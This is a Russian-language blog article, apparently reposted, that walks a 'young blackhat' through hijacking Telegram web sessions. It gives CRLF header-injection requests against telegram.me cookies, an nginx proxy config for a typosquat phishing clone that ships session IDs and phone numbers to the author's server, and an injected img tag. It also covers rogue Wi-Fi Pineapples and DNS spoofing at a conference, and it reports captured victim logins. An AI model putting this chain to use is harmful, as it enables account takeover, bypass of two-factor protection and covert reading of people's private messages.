January 8, 2020

Массовый взлом телеграм аккаунтов.

Привет, юный блэкхэт, эта статья будет посвящена взлому телеграм аккаунтов.

Помимо официального клиентов активно используется домен telegram.me. Он служит как ссылка на контакт, инвайт-ссылка для добавления в группу или канал, через него также можно добавить стикеры. Если пользователь аутентифицирован в веб-клиенте, то там присутствует кука stel_web_auth, которая отвечает, на какой домен перенаправлять пользователя.

Вот примеры запроса к telegram.me с кукой:

GET /i_bo0om HTTP/1.1 Host: telegram.me Cookie: stel_web_auth=localhost

И ответ:

HTTP/1.1 302 Found Server: nginx/1.6.2 Date: Thu, 19 May 2016 22:02:23 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: keep-alive Set-Cookie: stel_ssid=823678114; path=/ Pragma: no-cache Cache-control: no-store Location: localhost#/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om Strict-Transport-Security: max-age=15768000

Стоит заметить, что в куке присутствует возможность вставить \r\n символы, что позволяет подделать заголовки ответов от сервера, или, например, целый HTTP-пакет. А это ведет как минимум к XSS (привет Internet Explorer).

Обычно, в случае CRLF для демонстрации уязвимости ставят заголовок Set-cookie, который устанавливает куку. Но у меня CRLF инъекция уже через куку, поэтому обойдусь :))

Вот пример подделки заголовков:

GET /i_bo0om HTTP/1.1 Host: telegram.me Cookie: stel_web_auth=localhost%0d%0a%20Header1%3a%20ok%0d%0a%20Header2%3a%20ok%0d%0a%20other:%20

Ответ:

HTTP/1.1 302 Found Server: nginx/1.6.2 Date: Thu, 19 May 2016 22:23:31 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: keep-alive Set-Cookie: stel_ssid=1297301663; path=/ Pragma: no-cache Cache-control: no-store Location: localhost Header1: ok Header2: ok other: #/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om Strict-Transport-Security: max-age=15768000

Заметь, что присутствует заголовок Strict-Transport-Security, что не позволяет добраться до заветной печеньки, если пытаешься использовать MiTM-атаку (человек посередине), несмотря на то, что у куки нет флага Secure. Значит куку можно поставить с помощью XSS (нет флага HttpOnly), но я её так сходу не нашёл.

И тут я вспомнил про одну особенность современных веб-приложений. Поддомен (blabla.telegram.me) может поставить cookie на главный домен (telegram.me). Получится, конечно, не open redirect, а хитрое перенаправление на чужой домен, при использовании домена telegram.me

Для этого, мне нужно:

  1. Раздать свою Wi-Fi точку.
  2. Перенаправлять пользователей на несуществующий поддомен, который ставит куку.
  3. Заставить пользователя зайти на мой поддомен. С учетом первого шага — легко.

Когда пользователю кинут ссылку на приглашение, например, в группу — его перенаправит на фейковое приложение. Пробуем? Поехали!

Готовим фейк.

Воспользовавшись утилитой urlcrazy я сгенерировал свободные домены подходящие для фейка. Отлично подошёл telergam.org. Телеграм достаточно сложное слово, чтобы можно было не заметить смену двух моноширных согласных посередине.

Взял облачный сервер на месяц и сделал фейк. Ну как сделал фейк. Я воспользовался проксированием с помощью nginx. Используя модуль proxy_pass можно настроить проксирование всех запросов на другой сайт, таким образом зашедший на мой ресурс видел содержимое другого сайта, целиком и полностью, включая изменения в реальном времени.

Вот полный конфиг «фейка» главного сайта telegram:

server { listen 80; # слушаем 80 порт server_name telergam.org; #на какой домен откликаемся location / { proxy_pass https://telegram.org; #проксируем сайт телеграма }

А ещё используя модуль sub_filter можно заменять содержимое строки на произвольную. По образу и подобию было настроено проксирование на web.telegram, с некоторыми поправками — клиент отправлял на мой сервер текущий идентификатор сессии (и прочие данные из localStorage), номер телефона, браузер.

Что еще нужно для хорошей жизни? SSL! Ну продвинутые пользователи сразу заподозрят неладное, а присутствие «зеленого замочка» прибавляет к харизме фейку.

Поэтому регистрируем бесплатный аккаунт на cloudflare и получаем возможность закрыть от чужих глаз ip адрес сервера и заветный замочек 🙂

Теперь попробуй найти 10 отличий:

Но если посмотреть исходник, то там будет лишний js, который и отправляет данные жертвы на подконтрольный сервер.

Positive Hack Days

Не так давно, на конференции ZeroNights я уже игрался с MiTM’ом, раздавая «бесплатный Wi-Fi», подрезая SSL и собирая трафик. На этот раз дамп трафика мне был уже неинтересен, поэтому основной целью была раздача волшебных печенек в браузеры пользователей.

Шаг 1. Wi-Fi

У нас было 2 wi-fi pineapple, 4500 потенциальных жертв, 3 альфы, несколько 8 dbi антенн и целое множество Wi-Fi карточек всех сортов и расцветок, а также MITMf, DNSspoof, Mana Toolkit, strip-n-inject и проксирующий сервак с фейковым dns-сервером. Не то что бы это был необходимый запас для поездки. Но если начал собирать оборудование для MITM’а, становится трудно остановиться. Единственное что вызывало у меня опасение — это BeEF. Нет ничего более беспомощного, безответственного и испорченного, чем XSS зомби. Я знал, что рано или поздно мы перейдем и на эту дрянь.

На помощь приходят «ананасы», это специальные устройства для атак с помощью поддельной Wi-Fi точки. На конференции было два этажа, а хотелось покрыть максимальное количество людей. К тому же раздавался официальный Wi-Fi с SSID «PHD», поэтому оставалось только запитать устройство. Отлично подошла розетка и место под столом на первом этаже.

Ананасу помощнее, на втором этаже, повезло больше — ему достался ethernet-кабель, поэтому раздавался быстрый и стабильный интернет. «Альфа» с ноутбуком (эту же пару я использовал на ZeroNights) кочевала со мной. Вдобавок, я хотел приспособить mr3040 с OpenWRT, но из-за количества людей и малой мощности я оставил эту идею.

Ещё из Питера привезли мощный роутер Xiaomi, но из-за нехватки времени на прошивку/настройку он так и остался лежать в коробке. Тем более покрытие было уже достаточным для успешной атаки.

Шаг второй. DNS

Задача — записать куку на telegram.me, поэтому на сервере я создал поддомен i.telegram.me и отвечал на любой запрос установкой куки (без контента). Думаю, отдавать DNS с помощью DHCP смысла не много, но на всякий случай поставил unbound и открыл его миру (чтобы подключались). Сразу после PHDays пришла абуза, кто-то успел засканить dns и DDoS’ил им .gov сайты.

Еще были использованы утилиты DNSMasqSpoof и DNSspoof. Первый вариант почему-то глючно работал, поэтому остался последний.

Шаг третий. Инъекция

На этот раз использовать sslstrip/sslsplit/hsts bypass не нужно. Да и зачем палиться? Чуть что, браузер начнет кричать на невалидность сертификата, а надо, чтоб он пользовался интернетом. При сёрфинге жертва скорее всего перейдет на http ресурс, а я тут как тут. Поэтому вконец документа вставлялся тег
<img src="http://i.telegram.me/" onerror=remove()>

Все просто — отправляется GET-запрос на несуществующий домен, но фейковый DNS отвечает нужным мне IP-адресом, в ответ от фейкового домена приходит заголовок с установкой cookie. Так как тег — изображение, срабатывает событие onerror и тег удаляется.
Ребята из Hardware Village преложили делать инъекцию BeEf’а, чтобы полностью контролировать браузер жертвы, потом выводить на телике кто попался (да-да, как на конференции BlackHat). Не было времени, но в следующий раз надо заняться.

В результате, если пользователь зайдет на любой HTTP сайт используя мой WiFi, его браузер будет «заражённым», и когда он будет переходить по ссылкам telegram.me — его будет перенаправлять на фейковую страницу аутентификации.

https://bo0om.ru/wp-content/uploads/2016/05/fake.gif

Результаты

А вот результаты я ожидал получше…
В первый день активной атаки (когда на конференции находится максимум народа) — никого. Никто не зашел. В середине конференции несколько внимательных зашли на страницы сниффера, полазили по фейкограму. Ближе к ночи был один вход. Ну хоть так…

Ещё один вход был пол второго ночи, его можно так же засчитать за первый день.

На второй день я пошел перепроверять оборудование, все ли работает как надо? Я пробовал сам запускать браузер — всё круто, кука ставится, telegram.me редиректит, лог входа пишется. Пару часов сидел и перепроверял, в чем же может быть проблема. Народ цеплялся. Большинство было с мобильных устройств, но и ноутбуки охотно подключались. На Hardware Village к инъекции был запущен mitmf (с respoder’ом), на всякий случай. Опять два входа и опять ночью.

Выводы

Плюсы:

  • Помните, когда сломали telegram журналистов? Там было очень явное палево — IP адреса взломщика, ведь telegram сообщает, с какого IP происходит вход. В этом случае IP адрес будет совпадать с адресом жертвы. А так как мы контролируем сам клиент, мы имеем доступ к переписке и возможность выполнять любые действия от имени жертвы.
  • Даже если стоит двухфакторная аутентификация — не поможет.
  • Кнопку выхода можем заменить на уничтожении сессионного идентификатора только на стороне жертвы, тем самым наблюдать за перепиской всё время, пока жертва не уничтожит активные сессии в настройках.
  • Способ можно модифицировать и улучшить

Минусы:

  • Пользователь вовсе может не зайти. Из 4500 человек на хакерской конференции пробив был менее 1%.
  • Естественно, доступ к секретным чатам мы не получим.
  • На невнимательных пользователей. Но лично я — не заметил бы.
  • Если пользователь аутентифицируется в официальном веб-клиенте, кука перезапишется.

Статья была позаимствована с блога bo0om.ru